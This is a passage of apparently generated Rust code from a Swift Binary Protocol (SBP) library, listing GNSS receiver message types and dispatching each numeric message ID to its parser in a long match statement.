MsgSsrGridDefinitionDepA(MsgSsrGridDefinitionDepA), MsgSsrTileDefinition(MsgSsrTileDefinition), MsgSsrGriddedCorrectionDepA(MsgSsrGriddedCorrectionDepA), MsgSsrStecCorrection(MsgSsrStecCorrection), MsgSsrGriddedCorrection(MsgSsrGriddedCorrection), MsgSsrSatelliteApc(MsgSsrSatelliteApc), MsgOsr(MsgOsr), MsgUserData(MsgUserData), MsgImuRaw(MsgImuRaw), MsgImuAux(MsgImuAux), MsgMagRaw(MsgMagRaw), MsgOdometry(MsgOdometry), MsgWheeltick(MsgWheeltick), MsgFileioConfigReq(MsgFileioConfigReq), MsgFileioConfigResp(MsgFileioConfigResp), MsgSbasRaw(MsgSbasRaw), MsgLinuxCpuStateDepA(MsgLinuxCpuStateDepA), MsgLinuxMemStateDepA(MsgLinuxMemStateDepA), MsgLinuxSysStateDepA(MsgLinuxSysStateDepA), MsgLinuxProcessSocketCounts(MsgLinuxProcessSocketCounts), MsgLinuxProcessSocketQueues(MsgLinuxProcessSocketQueues), MsgLinuxSocketUsage(MsgLinuxSocketUsage), MsgLinuxProcessFdCount(MsgLinuxProcessFdCount), MsgLinuxProcessFdSummary(MsgLinuxProcessFdSummary), MsgLinuxCpuState(MsgLinuxCpuState), MsgLinuxMemState(MsgLinuxMemState), MsgLinuxSysState(MsgLinuxSysState), MsgStartup(MsgStartup), MsgDgnssStatus(MsgDgnssStatus), MsgInsStatus(MsgInsStatus), MsgCsacTelemetry(MsgCsacTelemetry), MsgCsacTelemetryLabels(MsgCsacTelemetryLabels), MsgInsUpdates(MsgInsUpdates), MsgGnssTimeOffset(MsgGnssTimeOffset), MsgPpsTime(MsgPpsTime), MsgGroupMeta(MsgGroupMeta), MsgSolnMeta(MsgSolnMeta), MsgSolnMetaDepA(MsgSolnMetaDepA), MsgStatusReport(MsgStatusReport), MsgHeartbeat(MsgHeartbeat), Unknown(Unknown), } impl SBP { pub fn parse(msg_id: u16, sender_id: u16, payload: &mut &[u8]) -> Result<SBP, crate::Error> { match msg_id { 16 => { let mut msg = MsgPrintDep::parse(payload)?; msg.set_sender_id(sender_id); Ok(SBP::MsgPrintDep(msg)) } 17 => { let mut msg = MsgTrackingStateDetailedDep::parse(payload)?; msg.set_sender_id(sender_id); Ok(SBP::MsgTrackingStateDetailedDep(msg)) } 19 => { let mut msg = MsgTrackingStateDepB::parse(payload)?; msg.set_sender_id(sender_id); Ok(SBP::MsgTrackingStateDepB(msg)) } 20 => { let mut msg = MsgAcqResultDepB::parse(payload)?; msg.set_sender_id(sender_id); Ok(SBP::MsgAcqResultDepB(msg)) } 21 => { let mut msg = MsgAcqResultDepA::parse(payload)?; msg.set_sender_id(sender_id); Ok(SBP::MsgAcqResultDepA(msg)) } 22 => { let mut msg = MsgTrackingStateDepA::parse(payload)?; msg.set_sender_id(sender_id); Ok(SBP::MsgTrackingStateDepA(msg)) } 23 => { let mut msg = MsgThreadState::parse(payload)?; msg.set_sender_id(sender_id); Ok(SBP::MsgThreadState(msg)) } 24 => { let mut msg = MsgUartStateDepa::parse(payload)?; msg.set_sender_id(sender_id); Ok(SBP::MsgUartStateDepa(msg)) } 25 => { let mut msg = MsgIarState::parse(payload)?; msg.set_sender_id(sender_id); Ok(SBP::MsgIarState(msg)) } 26 => { let mut msg = MsgEphemerisDepA::parse(payload)?; msg.set_sender_id(sender_id); Ok(SBP::MsgEphemerisDepA(msg)) } 27 => { let mut msg = MsgMaskSatelliteDep::parse(payload)?; msg.set_sender_id(sender_id); Ok(SBP::MsgMaskSatelliteDep(msg)) } 28 => { let mut msg = MsgTrackingIqDepA::parse(payload)?; msg.set_sender_id(sender_id); Ok(SBP::MsgTrackingIqDepA(msg)) } 29 => { let mut msg = MsgUartState::parse(payload)?; msg.set_sender_id(sender_id); Ok(SBP::MsgUartState(msg)) } 30 => { let mut msg = MsgAcqSvProfileDep::parse(payload)?; msg.set_sender_id(sender_id); Ok(SBP::MsgAcqSvProfileDep(msg)) } 31 => { let mut msg = MsgAcqResultDepC::parse(payload)?; msg.set_sender_id(sender_id); Ok(SBP::MsgAcqResultDepC(msg)) } 33 => { let mut msg = MsgTrackingStateDetailedDepA::parse(payload)?; msg.set_sender_id(sender_id); Ok(SBP::MsgTrackingStateDetailedDepA(msg)) } 34 => { let mut msg = MsgResetFilters::parse(payload)?; msg.set_sender_id(sender_id); Ok(SBP::MsgResetFilters(msg)) } 35 => { let mut msg = MsgInitBaseDep::parse(payload)?; msg.set_sender_id(sender_id); Ok(SBP::MsgInitBaseDep(msg)) } 43 => { let mut msg = MsgMaskSatellite::parse(payload)?; msg.set_sender_id(sender_id); Ok(SBP::MsgMaskSatellite(msg)) } 44 => { let mut msg = MsgTrackingIqDepB::parse(payload)?; msg.set_sender_id(sender_id); Ok(SBP::MsgTrackingIqDepB(msg)) } 45 => { let mut msg = MsgTrackingIq::parse(payload)?; msg.set_sender_id(sender_id); Ok(SBP::MsgTrackingIq(msg)) } 46 => { let mut msg = MsgAcqSvProfile::parse(payload)?; msg.set_sender_id(sender_id); Ok(SBP::MsgAcqSvProfile(msg)) } 47 => { let mut msg = MsgAcqResult::parse(payload)?; msg.set_sender_id(sender_id); Ok(SBP::MsgAcqResult(msg)) } 65 => { let mut msg = MsgTrackingState::parse(payload)?; msg.set_sender_id(sender_id); Ok(SBP::MsgTrackingState(msg)) } 67 => { let mut msg = MsgObsDepB::parse(payload)?; msg.set_sender_id(sender_id); Ok(SBP::MsgObsDepB(msg)) } 68 => { let mut msg = MsgBasePosLLH::parse(payload)?; msg.set_sender_id(sender_id); Ok(SBP::MsgBasePosLLH(msg)) } 69 => { let mut msg = MsgObsDepA::parse(payload)?; msg.set_sender_id(sender_id); Ok(SBP::MsgObsDepA(msg)) } 70 => { let mut msg = MsgEphemerisDepB::parse(payload)?; msg.set_sender_id(sender_id); Ok(SBP::MsgEphemerisDepB(msg)) } 71 => { let mut msg = MsgEphemerisDepC::parse(payload)?; msg.set_sender_id(sender_id); Ok(SBP::MsgEphemerisDepC(msg)) } 72 => { let mut msg = MsgBasePosECEF::parse(payload)?; msg.set_sender_id(sender_id); Ok(SBP::MsgBasePosECEF(msg)) } 73 => { let mut msg = MsgObsDepC::parse(payload)?; msg.set_sender_id(sender_id); Ok(SBP::MsgObsDepC(msg)) } 74 => { let mut msg = MsgObs::parse(payload)?; msg.set_sender_id(sender_id); Ok(SBP::MsgObs(msg)) } 80 => { let mut msg = MsgSpecanDep::parse(payload)?; msg.set_sender_id(sender_id); Ok(SBP::MsgSpecanDep(msg)) } 81 => { let mut msg = MsgSpecan::parse(payload)?; msg.set_sender_id(sender_id); Ok(SBP::MsgSpecan(msg)) } 97 => { let mut msg = MsgMeasurementState::parse(payload)?; msg.set_sender_id(sender_id); Ok(SBP::MsgMeasurementState(msg)) } 104 => { let mut msg = MsgSetTime::parse(payload)?; msg.set_sender_id(sender_id); Ok(SBP::MsgSetTime(msg)) } 105 => { let mut msg = MsgAlmanac::parse(payload)?; msg.set_sender_id(sender_id); Ok(SBP::MsgAlmanac(msg)) } 112 => { let mut msg = MsgAlmanacGPSDep::parse(payload)?; msg.set_sender_id(sender_id); Ok(SBP::MsgAlmanacGPSDep(msg)) } 113 => { let mut msg = MsgAlmanacGloDep::parse(payload)?; msg.set_sender_id(sender_id); Ok(SBP::MsgAlmanacGloDep(msg)) } 114 => { let mut msg = MsgAlmanacGPS::parse(payload)?; msg.set_sender_id(sender_id); Ok(SBP::MsgAlmanacGPS(msg)) } 115 => { let mut msg = MsgAlmanacGlo::parse(payload)?; msg.set_sender_id(sender_id); Ok(SBP::MsgAlmanacGlo(msg)) } 117 => { let mut msg = MsgGloBiases::parse(payload)?; msg.set_sender_id(sender_id); Ok(SBP::MsgGloBiases(msg)) } 128 => { let mut msg = MsgEphemerisDepD::parse(payload)?; msg.set_sender_id(sender_id); Ok(SBP::MsgEphemerisDepD(msg)) } 129 => { let mut msg = MsgEphemerisGPSDepE::parse(payload)?; msg.set_sender_id(sender_id); Ok(SBP::MsgEphemerisGPSDepE(msg)) } 130 => { let mut msg = MsgEphemerisSbasDepA::parse(payload)?; msg.set_sender_id(sender_id); Ok(SBP::MsgEphemerisSbasDepA(msg)) } 131 => { let mut msg = MsgEphemerisGloDepA::parse(payload)?; msg.set_sender_id(sender_id); Ok(SBP::MsgEphemerisGloDepA(msg)) } 132 => { let mut msg = MsgEphemerisSbasDepB::parse(payload)?; msg.set_sender_id(sender_id); Ok(SBP::MsgEphemerisSbasDepB(msg)) } 133 => { let mut msg = MsgEphemerisGloDepB::parse(payload)?; msg.set_sender_id(sender_id); Ok(SBP::MsgEphemerisGloDepB(msg)) } 134 => { let mut msg = MsgEphemerisGPSDepF::parse(payload)?; msg.set_sender_id(sender_id); Ok(SBP::MsgEphemerisGPSDepF(msg)) } 135 => { let mut msg = MsgEphemerisGloDepC::parse(payload)?; msg.set_sender_id(sender_id); Ok(SBP::MsgEphemerisGloDepC(msg)) } 136 => { let mut msg = MsgEphemerisGloDepD::parse(payload)?; msg.set_sender_id(sender_id); Ok(SBP::MsgEphemerisGloDepD(msg)) } 137 => { let mut msg = MsgEphemerisBds::parse(payload)?; msg.set_sender_id(sender_id); Ok(SBP::MsgEphemerisBds(msg)) } 138 => { let mut msg = MsgEphemerisGPS::parse(payload)?; msg.set_sender_id(sender_id); Ok(SBP::MsgEphemerisGPS(msg)) } 139 => { let mut msg = MsgEphemerisGlo::parse(payload)?; msg.set_sender_id(sender_id); Ok(SBP::MsgEphemerisGlo(msg)) } 140 => { let mut msg = MsgEphemerisSbas::parse(payload)?; msg.set_sender_id(sender_id); Ok(SBP::MsgEphemerisSbas(msg)) } 141 => { let mut msg = MsgEphemerisGal::parse(payload)?; msg.set_sender_id(sender_id); Ok(SBP::MsgEphemerisGal(msg)) } 142 => { let mut msg = MsgEphemerisQzss::parse(payload)?; msg.set_sender_id(sender_id); Ok(SBP::MsgEphemerisQzss(msg)) } 144 => { let mut msg = MsgIono::parse(payload)?; msg.set_sender_id(sender_id); Ok(SBP::MsgIono(msg)) } 145 => { let mut msg = MsgSvConfigurationGPSDep::parse(payload)?; msg.set_sender_id(sender_id); Ok(SBP::MsgSvConfigurationGPSDep(msg)) } 146 => { let mut msg = MsgGroupDelayDepA::parse(payload)?; msg.set_sender_id(sender_id); Ok(SBP::MsgGroupDelayDepA(msg)) } 147 => { let mut msg = MsgGroupDelayDepB::parse(payload)?; msg.set_sender_id(sender_id); Ok(SBP::MsgGroupDelayDepB(msg)) } 148 => { let mut msg = MsgGroupDelay::parse(payload)?; msg.set_sender_id(sender_id); Ok(SBP::MsgGroupDelay(msg)) } 149 => { let mut msg = MsgEphemerisGalDepA::parse(payload)?; msg.set_sender_id(sender_id); Ok(SBP::MsgEphemerisGalDepA(msg)) } 150 => { let mut msg = MsgGnssCapb::parse(payload)?; msg.set_sender_id(sender_id); Ok(SBP::MsgGnssCapb(msg)) } 151 => { let mut msg = MsgSvAzEl::parse(payload)?; msg.set_sender_id(sender_id); Ok(SBP::MsgSvAzEl(msg)) } 160 => { let mut msg = MsgSettingsWrite::parse(payload)?; msg.set_sender_id(sender_id); Ok(SBP::MsgSettingsWrite(msg)) } 161 => { let mut msg = MsgSettingsSave::parse(payload)?; msg.set_sender_id(sender_id); Ok(SBP::MsgSettingsSave(msg)) } 162 => { let mut msg = MsgSettingsReadByIndexReq::parse(payload)?; msg.set_sender_id(sender_id); Ok(SBP::MsgSettingsReadByIndexReq(msg)) } 163 => { let mut msg = MsgFileioReadResp::parse(payload)?; msg.set_sender_id(sender_id); Ok(SBP::MsgFileioReadResp(msg)) } 164 => { let mut msg = MsgSettingsReadReq::parse(payload)?; msg.set_sender_id(sender_id); Ok(SBP::MsgSettingsReadReq(msg)) } 165 => { let mut msg = MsgSettingsReadResp::parse(payload)?; msg.set_sender_id(sender_id); Ok(SBP::MsgSettingsReadResp(msg)) } 166 => { let mut msg = MsgSettingsReadByIndexDone::parse(payload)?; msg.set_sender_id(sender_id); Ok(SBP::MsgSettingsReadByIndexDone(msg)) } 167 => { let mut msg = MsgSettingsReadByIndexResp::parse(payload)?; msg.set_sender_id(sender_id); Ok(SBP::MsgSettingsReadByIndexResp(msg)) } 168 => { let mut msg = MsgFileioReadReq::parse(payload)?; msg.set_sender_id(sender_id); Ok(SBP::MsgFileioReadReq(msg)) } 169 => { let mut msg = MsgFileioReadDirReq::parse(payload)?; msg.set_sender_id(sender_id); Ok(SBP::MsgFileioReadDirReq(msg)) } 170 => { let mut msg = MsgFileioReadDirResp::parse(payload)?; msg.set_sender_id(sender_id); Ok(SBP::MsgFileioReadDirResp(msg)) } 171 => { let mut msg = MsgFileioWriteResp::parse(payload)?; msg.set_sender_id(sender_id); Ok(SBP::MsgFileioWriteResp(msg)) } 172 => { let mut msg = MsgFileioRemove::parse(payload)?; msg.set_sender_id(sender_id); Ok(SBP::MsgFileioRemove(msg)) } 173 => { let mut msg = MsgFileioWriteReq::parse(payload)?; msg.set_sender_id(sender_id); Ok(SBP::MsgFileioWriteReq(msg)) } 174 => { let mut msg = MsgSettingsRegister::parse(payload)?; msg.set_sender_id(sender_id); Ok(SBP::MsgSettingsRegister(msg)) } 175 => { let mut msg = MsgSettingsWriteResp::parse(payload)?; msg.set_sender_id(sender_id); Ok(SBP::MsgSettingsWriteResp(msg)) } 176 => { let mut msg = MsgBootloaderHandshakeDepA::parse(payload)?; msg.set_sender_id(sender_id); Ok(SBP::MsgBootloaderHandshakeDepA(msg)) } 177 => { let mut msg = MsgBootloaderJumpToApp::parse(payload)?; msg.set_sender_id(sender_id); Ok(SBP::MsgBootloaderJumpToApp(msg)) } 178 => { let mut msg = MsgResetDep::parse(payload)?; msg.set_sender_id(sender_id); Ok(SBP::MsgResetDep(msg)) } 179 => { let mut msg = MsgBootloaderHandshakeReq::parse(payload)?; msg.set_sender_id(sender_id); Ok(SBP::MsgBootloaderHandshakeReq(msg)) } 180 => { let mut msg = MsgBootloaderHandshakeResp::parse(payload)?; msg.set_sender_id(sender_id); Ok(SBP::MsgBootloaderHandshakeResp(msg)) } 181 => { let mut msg = MsgDeviceMonitor::parse(payload)?; msg.set_sender_id(sender_id); Ok(SBP::MsgDeviceMonitor(msg)) } 182 => { let mut msg = MsgReset::parse(payload)?; msg.set_sender_id(sender_id); Ok(SBP::MsgReset(msg)) } 184 => { let mut msg = MsgCommandReq::parse(payload)?; msg.set_sender_id(sender_id); Ok(SBP::MsgCommandReq(msg)) } 185 => { let mut msg = MsgCommandResp::parse(payload)?; msg.set_sender_id(sender_id); Ok(SBP::MsgCommandResp(msg)) } 186 => { let mut msg = MsgNetworkStateReq::parse(payload)?; msg.set_sender_id(sender_id); Ok(SBP::MsgNetworkStateReq(msg)) } 187 => { let mut msg = MsgNetworkStateResp::parse(payload)?; msg.set_sender_id(sender_id); Ok(SBP::MsgNetworkStateResp(msg)) } 188 => { let mut msg = MsgCommandOutput::parse(payload)?; msg.set_sender_id(sender_id); Ok(SBP::MsgCommandOutput(msg)) } 189 => { let mut msg = MsgNetworkBandwidthUsage::parse(payload)?; msg.set_sender_id(sender_id); Ok(SBP::MsgNetworkBandwidthUsage(msg)) } 190 => { let mut msg = MsgCellModemStatus::parse(payload)?; msg.set_sender_id(sender_id); Ok(SBP::MsgCellModemStatus(msg)) } 191 => { let mut msg = MsgFrontEndGain::parse(payload)?; msg.set_sender_id(sender_id); Ok(SBP::MsgFrontEndGain(msg)) } 192 => { let mut msg = MsgCwResults::parse(payload)?; msg.set_sender_id(sender_id); Ok(SBP::MsgCwResults(msg)) } 193 => { let mut msg = MsgCwStart::parse(payload)?; msg.set_sender_id(sender_id); Ok(SBP::MsgCwStart(msg)) } 221 => { let mut msg = MsgNapDeviceDnaResp::parse(payload)?; msg.set_sender_id(sender_id); Ok(SBP::MsgNapDeviceDnaResp(msg)) } 222 => { let mut msg = MsgNapDeviceDnaReq::parse(payload)?; msg.set_sender_id(sender_id); Ok(SBP::MsgNapDeviceDnaReq(msg)) } 224 => { let mut msg = MsgFlashDone::parse(payload)?; msg.set_sender_id(sender_id); Ok(SBP::MsgFlashDone(msg)) } 225 => { let mut msg = MsgFlashReadResp::parse(payload)?; msg.set_sender_id(sender_id); Ok(SBP::MsgFlashReadResp(msg)) } 226 => { let mut msg = MsgFlashErase::parse(payload)?; msg.set_sender_id(sender_id); Ok(SBP::MsgFlashErase(msg)) } 227 => { let mut msg = MsgStmFlashLockSector::parse(payload)?; msg.set_sender_id(sender_id); Ok(SBP::MsgStmFlashLockSector(msg)) } 228 => { let mut msg = MsgStmFlashUnlockSector::parse(payload)?; msg.set_sender_id(sender_id); Ok(SBP::MsgStmFlashUnlockSector(msg)) } 229 => { let mut msg = MsgStmUniqueIdResp::parse(payload)?; msg.set_sender_id(sender_id); Ok(SBP::MsgStmUniqueIdResp(msg)) } 230 => { let mut msg = MsgFlashProgram::parse(payload)?; msg.set_sender_id(sender_id); Ok(SBP::MsgFlashProgram(msg)) } 231 => { let mut msg = MsgFlashReadReq::parse(payload)?; msg.set_sender_id(sender_id); Ok(SBP::MsgFlashReadReq(msg)) } 232 => { let mut msg = MsgStmUniqueIdReq::parse(payload)?; msg.set_sender_id(sender_id); Ok(SBP::MsgStmUniqueIdReq(msg)) } 243 => { let mut msg = MsgM25FlashWriteStatus::parse(payload)?; msg.set_sender_id(sender_id); Ok(SBP::MsgM25FlashWriteStatus(msg)) } 256 => { let mut msg = MsgGPSTimeDepA::parse(payload)?; msg.set_sender_id(sender_id); Ok(SBP::MsgGPSTimeDepA(msg)) } 257 => { let mut msg = MsgExtEvent::parse(payload)?; msg.set_sender_id(sender_id); Ok(SBP::MsgExtEvent(msg)) } 258 => { let mut msg = MsgGPSTime::parse(payload)?; msg.set_sender_id(sender_id); Ok(SBP::MsgGPSTime(msg)) } 259 => { let mut msg = MsgUtcTime::parse(payload)?; msg.set_sender_id(sender_id); Ok(SBP::MsgUtcTime(msg)) } 260 => { let mut msg = MsgGPSTimeGnss::parse(payload)?; msg.set_sender_id(sender_id); Ok(SBP::MsgGPSTimeGnss(msg)) } 261 => { let mut msg = MsgUtcTimeGnss::parse(payload)?; msg.set_sender_id(sender_id); Ok(SBP::MsgUtcTimeGnss(msg)) } 431 => { let mut msg = MsgSettingsRegisterResp::parse(payload)?; msg.set_sender_id(sender_id); Ok(SBP::MsgSettingsRegisterResp(msg)) } 512 => { let mut msg = MsgPosECEFDepA::parse(payload)?; msg.set_sender_id(sender_id); Ok(SBP::MsgPosECEFDepA(msg)) } 513 => { let mut msg = MsgPosLLHDepA::parse(payload)?; msg.set_sender_id(sender_id); Ok(SBP::MsgPosLLHDepA(msg)) } 514 => { let mut msg = MsgBaselineECEFDepA::parse(payload)?; msg.set_sender_id(sender_id); Ok(SBP::MsgBaselineECEFDepA(msg)) } 515 => { let mut msg = MsgBaselineNEDDepA::parse(payload)?; msg.set_sender_id(sender_id); Ok(SBP::MsgBaselineNEDDepA(msg)) } 516 => { let mut msg = MsgVelECEFDepA::parse(payload)?; msg.set_sender_id(sender_id); Ok(SBP::MsgVelECEFDepA(msg)) } 517 => { let mut msg = MsgVelNEDDepA::parse(payload)?; msg.set_sender_id(sender_id); Ok(SBP::MsgVelNEDDepA(msg)) } 518 => { let mut msg = MsgDopsDepA::parse(payload)?; msg.set_sender_id(sender_id); Ok(SBP::MsgDopsDepA(msg)) } 519 => { let mut msg = MsgBaselineHeadingDepA::parse(payload)?; msg.set_sender_id(sender_id); Ok(SBP::MsgBaselineHeadingDepA(msg)) } 520 => { let mut msg = MsgDops::parse(payload)?; msg.set_sender_id(sender_id); Ok(SBP::MsgDops(msg)) } 521 => { let mut msg = MsgPosECEF::parse(payload)?; msg.set_sender_id(sender_id); Ok(SBP::MsgPosECEF(msg)) } 522 => { let mut msg = MsgPosLLH::parse(payload)?; msg.set_sender_id(sender_id); Ok(SBP::MsgPosLLH(msg)) } 523 => { let mut msg = MsgBaselineECEF::parse(payload)?; msg.set_sender_id(sender_id); Ok(SBP::MsgBaselineECEF(msg)) } 524 => { let mut msg = MsgBaselineNED::parse(payload)?; msg.set_sender_id(sender_id); Ok(SBP::MsgBaselineNED(msg)) } 525 => { let mut msg = MsgVelECEF::parse(payload)?; msg.set_sender_id(sender_id); Ok(SBP::MsgVelECEF(msg)) } 526 => { let mut msg = MsgVelNED::parse(payload)?; msg.set_sender_id(sender_id); Ok(SBP::MsgVelNED(msg)) } 527 => { let mut msg = MsgBaselineHeading::parse(payload)?; msg.set_sender_id(sender_id); Ok(SBP::MsgBaselineHeading(msg)) } 528 => { let mut msg = MsgAgeCorrections::parse(payload)?; msg.set_sender_id(sender_id); Ok(SBP::MsgAgeCorrections(msg)) } 529 => { let mut msg = MsgPosLLHCov::parse(payload)?; msg.set_sender_id(sender_id); Ok(SBP::MsgPosLLHCov(msg)) } 530 => { let mut msg = MsgVelNEDCov::parse(payload)?; msg.set_sender_id(sender_id); Ok(SBP::MsgVelNEDCov(msg)) } 531 => { let mut msg = MsgVelBody::parse(payload)?; msg.set_sender_id(sender_id); Ok(SBP::MsgVelBody(msg)) } 532 => { let mut msg = MsgPosECEFCov::parse(payload)?; msg.set_sender_id(sender_id); Ok(SBP::MsgPosECEFCov(msg)) } 533 => { let mut msg = MsgVelECEFCov::parse(payload)?; msg.set_sender_id(sender_id); Ok(SBP::MsgVelECEFCov(msg)) } 534 => { let mut msg = MsgProtectionLevelDepA::parse(payload)?; msg.set_sender_id(sender_id); Ok(SBP::MsgProtectionLevelDepA(msg)) } 535 => { let mut msg = MsgProtectionLevel::parse(payload)?; msg.set_sender_id(sender_id); Ok(SBP::MsgProtectionLevel(msg)) } 536 => { let mut msg = MsgPosLLHAcc::parse(payload)?; msg.set_sender_id(sender_id); Ok(SBP::MsgPosLLHAcc(msg)) } 544 => { let mut msg = MsgOrientQuat::parse(payload)?; msg.set_sender_id(sender_id); Ok(SBP::MsgOrientQuat(msg)) } 545 => { let mut msg = MsgOrientEuler::parse(payload)?; msg.set_sender_id(sender_id); Ok(SBP::MsgOrientEuler(msg)) } 546 => { let mut msg = MsgAngularRate::parse(payload)?; msg.set_sender_id(sender_id); Ok(SBP::MsgAngularRate(msg)) } 553 => { let mut msg = MsgPosECEFGnss::parse(payload)?; msg.set_sender_id(sender_id); Ok(SBP::MsgPosECEFGnss(msg)) } 554 => { let mut msg = MsgPosLLHGnss::parse(payload)?; msg.set_sender_id(sender_id); Ok(SBP::MsgPosLLHGnss(msg)) } 557 => { let mut msg = MsgVelECEFGnss::parse(payload)?; msg.set_sender_id(sender_id); Ok(SBP::MsgVelECEFGnss(msg)) } 558 => { let mut msg = MsgVelNEDGnss::parse(payload)?; msg.set_sender_id(sender_id); Ok(SBP::MsgVelNEDGnss(msg)) } 561 => { let mut msg = MsgPosLLHCovGnss::parse(payload)?; msg.set_sender_id(sender_id); Ok(SBP::MsgPosLLHCovGnss(msg)) } 562 => { let mut msg = MsgVelNEDCovGnss::parse(payload)?; msg.set_sender_id(sender_id); Ok(SBP::MsgVelNEDCovGnss(msg)) } 564 => { let mut msg = MsgPosECEFCovGnss::parse(payload)?; msg.set_sender_id(sender_id); Ok(SBP::MsgPosECEFCovGnss(msg)) } 565 => { let mut msg = MsgVelECEFCovGnss::parse(payload)?; msg.set_sender_id(sender_id); Ok(SBP::MsgVelECEFCovGnss(msg)) } 1024 => { let mut msg = MsgNdbEvent::parse(payload)?; msg.set_sender_id(sender_id); Ok(SBP::MsgNdbEvent(msg)) } 1025 => { let mut msg = MsgLog::parse(payload)?; msg.set_sender_id(sender_id); Ok(SBP::MsgLog(msg)) } 1026 => { let mut msg = MsgFwd::parse(payload)?; msg.set_sender_id(sender_id); Ok(SBP::MsgFwd(msg)) } 1500 => { let mut msg = MsgSsrOrbitClockDepA::parse(payload)?; msg.set_sender_id(sender_id); Ok(SBP::MsgSsrOrbitClockDepA(msg)) } 1501 => { let mut msg = MsgSsrOrbitClock::parse(payload)?; msg.set_sender_id(sender_id); Ok(SBP::MsgSsrOrbitClock(msg)) } 1505 => { let mut msg = MsgSsrCodeBiases::parse(payload)?; msg.set_sender_id(sender_id); Ok(SBP::MsgSsrCodeBiases(msg)) } 1510 => { let mut msg = MsgSsrPhaseBiases::parse(payload)?; msg.set_sender_id(sender_id); Ok(SBP::MsgSsrPhaseBiases(msg)) } 1515 => { let mut msg = MsgSsrStecCorrectionDepA::parse(payload)?; msg.set_sender_id(sender_id); Ok(SBP::MsgSsrStecCorrectionDepA(msg)) } 1520 => { let mut msg = MsgSsrGriddedCorrectionNoStdDepA::parse(payload)?; msg.set_sender_id(sender_id); Ok(SBP::MsgSsrGriddedCorrectionNoStdDepA(msg)) } 1525 => { let mut msg = MsgSsrGridDefinitionDepA::parse(payload)?; msg.set_sender_id(sender_id); Ok(SBP::MsgSsrGridDefinitionDepA(msg)) } 1526 => { let mut msg = MsgSsrTileDefinition::parse(payload)?; msg.set_sender_id(sender_id); Ok(SBP::MsgSsrTileDefinition(msg)) } 1530 => { let mut msg = MsgSsrGriddedCorrectionDepA::parse(payload)?; msg.set_sender_id(sender_id); Ok(SBP::MsgSsrGriddedCorrectionDepA(msg)) } 1531 => { let mut msg = MsgSsrStecCorrection::parse(payload)?; msg.set_sender_id(sender_id); Ok(SBP::MsgSsrStecCorrection(msg)) } 1532 => { let mut msg = MsgSsrGriddedCorrection::parse(payload)?; msg.set_sender_id(sender_id); Ok(SBP::MsgSsrGriddedCorrection(msg)) } 1540 => { let mut msg = MsgSsrSatelliteApc::parse(payload)?; msg.set_sender_id(sender_id); Ok(SBP::MsgSsrSatelliteApc(msg)) } 1600 => { let mut msg = MsgOsr::parse(payload)?; msg.set_sender_id(sender_id); Ok(SBP::MsgOsr(msg)) } 2048 => { let mut msg = MsgUserData::parse(payload)?; msg.set_sender_id(sender_id); Ok(SBP::MsgUserData(msg)) } 2304 => { let mut msg = MsgImuRaw::parse(payload)?; msg.set_sender_id(sender_id); Ok(SBP::MsgImuRaw(msg)) } 2305 => { let mut msg = MsgImuAux::parse(payload)?; msg.set_sender_id(sender_id); Ok(SBP::MsgImuAux(msg)) } 2306 => { let mut msg = MsgMagRaw::parse(payload)?; msg.set_sender_id(sender_id); Ok(SBP::MsgMagRaw(msg)) } 2307 => { let mut msg = MsgOdometry::parse(payload)?; msg.set_sender_id(sender_id); Ok(SBP::MsgOdometry(msg)) } 2308 => { let mut msg = MsgWheeltick::parse(payload)?; msg.set_sender_id(sender_id); Ok(SBP::MsgWheeltick(msg)) } 4097 => { let mut msg = MsgFileioConfigReq::parse(payload)?; msg.set_sender_id(sender_id); Ok(SBP::MsgFileioConfigReq(msg)) } 4098 => { let mut msg = MsgFileioConfigResp::parse(payload)?; msg.set_sender_id(sender_id); Ok(SBP::MsgFileioConfigResp(msg)) } 30583 => { let mut msg = MsgSbasRaw::parse(payload)?; msg.set_sender_id(sender_id); Ok(SBP::MsgSbasRaw(msg)) } 32512 => { let mut msg = MsgLinuxCpuStateDepA::parse(payload)?; msg.set_sender_id(sender_id); Ok(SBP::MsgLinuxCpuStateDepA(msg)) } 32513 => { let mut msg = MsgLinuxMemStateDepA::parse(payload)?; msg.set_sender_id(sender_id); Ok(SBP::MsgLinuxMemStateDepA(msg)) } 32514 => { let mut msg = MsgLinuxSysStateDepA::parse(payload)?; msg.set_sender_id(sender_id); Ok(SBP::MsgLinuxSysStateDepA(msg)) } 32515 => { let mut msg = MsgLinuxProcessSocketCounts::parse(payload)?; msg.set_sender_id(sender_id); Ok(SBP::MsgLinuxProcessSocketCounts(msg)) } 32516 => { let mut msg = MsgLinuxProcessSocketQueues::parse(payload)?; msg.set_sender_id(sender_id); Ok(SBP::MsgLinuxProcessSocketQueues(msg)) } 32517 => { let mut msg = MsgLinuxSocketUsage::parse(payload)?; msg.set_sender_id(sender_id); Ok(SBP::MsgLinuxSocketUsage(msg)) } 32518 => { let mut msg = MsgLinuxProcessFdCount::parse(payload)?; msg.set_sender_id(sender_id); Ok(SBP::MsgLinuxProcessFdCount(msg)) } 32519 => { let mut msg = MsgLinuxProcessFdSummary::parse(payload)?; msg.set_sender_id(sender_id); Ok(SBP::MsgLinuxProcessFdSummary(msg)) } 32520 => { let mut msg = MsgLinuxCpuState::parse(payload)?; msg.set_sender_id(sender_id); Ok(SBP::MsgLinuxCpuState(msg)) } 32521 => { let mut msg = MsgLinuxMemState::parse(payload)?; msg.set_sender_id(sender_id); Ok(SBP::MsgLinuxMemState(msg)) } 32522 => { let mut msg = MsgLinuxSysState::parse(payload)?; msg.set_sender_id(sender_id); Ok(SBP::MsgLinuxSysState(msg)) } 65280 => { let mut msg = MsgStartup::parse(payload)?; msg.set_sender_id(sender_id); Ok(SBP::MsgStartup(msg)) } 65282 => { let mut msg = MsgDgnssStatus::parse(payload)?; msg.set_sender_id(sender_id); Ok(SBP::MsgDgnssStatus(msg)) } 65283 => { let mut msg = MsgInsStatus::parse(payload)?; msg.set_sender_id(sender_id); Ok(SBP::MsgInsStatus(msg)) } 65284 => { let mut msg = MsgCsacTelemetry::parse(payload)?; msg.set_sender_id(sender_id); Ok(SBP::MsgCsacTelemetry(msg)) } 65285 => { let mut msg = MsgCsacTelemetryLabels::parse(payload)?; msg.set_sender_id(sender_id); Ok(SBP::MsgCsacTelemetryLabels(msg)) } 65286 => { let mut msg = MsgInsUpdates::parse(payload)?; msg.set_sender_id(sender_id); Ok(SBP::MsgInsUpdates(msg)) } 65287 => { let mut msg = MsgGnssTimeOffset::parse(payload)?; msg.set_sender_id(sender_id); Ok(SBP::MsgGnssTimeOffset(msg)) } 65288 => { let mut msg = MsgPpsTime::parse(payload)?; msg.set_sender_id(sender_id); Ok(SBP::MsgPpsTime(msg)) } 65290 => { let mut 